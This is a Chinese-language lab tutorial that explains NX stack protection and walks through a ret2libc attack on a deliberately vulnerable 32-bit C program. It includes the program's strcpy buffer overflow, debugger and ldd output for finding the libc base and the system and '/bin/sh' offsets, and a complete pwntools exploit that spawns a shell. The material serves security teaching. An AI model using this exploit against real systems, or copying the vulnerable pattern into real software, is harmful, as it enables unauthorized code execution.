前言
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。
NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。
示例:使数据,堆栈和堆段不可执行,而代码段不可写。
源码:
#include <stdio.h> #include <string.h> void vul(char *msg) { char buffer[64]; strcpy(buffer,msg); return; } int main() { puts("So plz give me your shellcode:"); char buffer[256]; memset(buffer,0,256); read(0,buffer,256); vul(buffer); return 0; }
开启NX编译程序:
gcc -m32 -g -ggdb -fno-stack-protector -no-pie 1.c -o task2
这里没有加上z execstack,默认即开启NX
简单探索NX机制
使用实验1的exp发现程序崩溃(非法内存访问异常)
报错的原因是我们开启了NX导致的,为什么开启NX就不能执行上个实验的EXP呢?
首先我们对比task1和task2的进程内存映射 (task1为上个实验编译的程序)
运行task1,找到task1的PID,查看task1的进程内存映射
r=read, w=write, x=execute, s=shared, p=private
使用同样的方法,我们查看task的进程内存映射
我们观察两个程序的的进程内存映射的栈区(stack)
发现task1是没有开启NX保护的,所以他是可执行的,而task2开启了NX保护,少了一个x的权限即不可执行
问题总结:因为开启了NX保护,而我们把shellcode放到了栈中,所以执行上一个实验的exp程序报错了,因为这时候的栈不可执行
ret2libc(return to libc)
原理:通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。
一般情况下,我们会选择执行
system("/bin/sh")
,在不存在ASLR(地址随机化)
的情况下,可以直接通过调试获得system
的函数地址以及“/bin/sh”
的地址 。
这时候我们不能return2shellcode和jmp esp了,因为开启NX,现在的栈是不可执行的。
当函数调用栈没有执行权限时,就不能执行我们自己写入的shellcode,那
就利用程序里或系统里的函数,libc
动态链接库中通常就有需要的函数,如system()。
比如我们要利用libc里的system函数,这时候就要获取4个信息:
1.程序所对应的libc版本
2.libc在程序中的基址
3.system函数在libc中的地址(即程序当中偏移地址)
4./bash/bin函数在libc中的地址(即程序当中偏移地址)
程序所对应的libc版本获取:
gdb-peda$ info sharedlibrary From To Syms Read Shared Object Library 0xf7fd2100 0xf7fef7f3 Yes (*) /lib/ld-linux.so.2 0xf7de61d0 0xf7f3f71a Yes (*) /lib/i386-linux-gnu/libc.so.6#这里是程序的libc的版本 (*): Shared library is missing debugging information.
libc在程序中的基址获取:
root@luo-virtual-machine:~/pwm# LD_TRACE_LOADED_OBJECTS=1 ./task2 linux-gate.so.1 (0xf7fd0000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000)#这里为libc在程序的的基址 /lib/ld-linux.so.2 (0xf7fd1000)
system函数在libc中的地址的获取
使用IDA pro打开对应的libc,在方法窗口中搜索system即可得到system的地址(右键函数地址选择Text View)
/bash/bin函数在libc中的地址的获取:
在IDA PRO中使用快捷键SHIFT+F12,填出Strings Window窗口
CTRL+F搜索/bin/sh
我们得到了需要的参数那么开始编写EXP:
from pwn import * #context(log_level = 'debug', arch = 'i386', os = 'linux') io=process('./task2') io.recvuntil("shellcode:") libc_base_addr=0xf7dc9000 #libc在程序当中的基址 payload="a"*76 #实验1得知到溢出的偏移为76 payload+=p32(libc_base_addr+0x00045830) #system在程序当中的地址(这里用system的地址覆盖了程序原来的返回地址) payload+=p32(0xdeadbeef) #填充(这里是system的返回地址,) payload+=p32(libc_base_addr+0x00192352) #/bash/bin在程序当中的地址 (当做这里是传入system的参数:/bash/bin) io.send(payload) io.interactive()
“DEADBEEF”(0xDEADBEEF)是什么?遇到将返回地址覆写为 0xdeadbeef 的用意?
在该系统中,已分配但还未初始化的内存中用该数字来填充,使得程序员在调试时可以很容易地定位到目标内存区域。
运行脚本成功进入到shell
参考:https://www.jianshu.com/p/c90530c910b0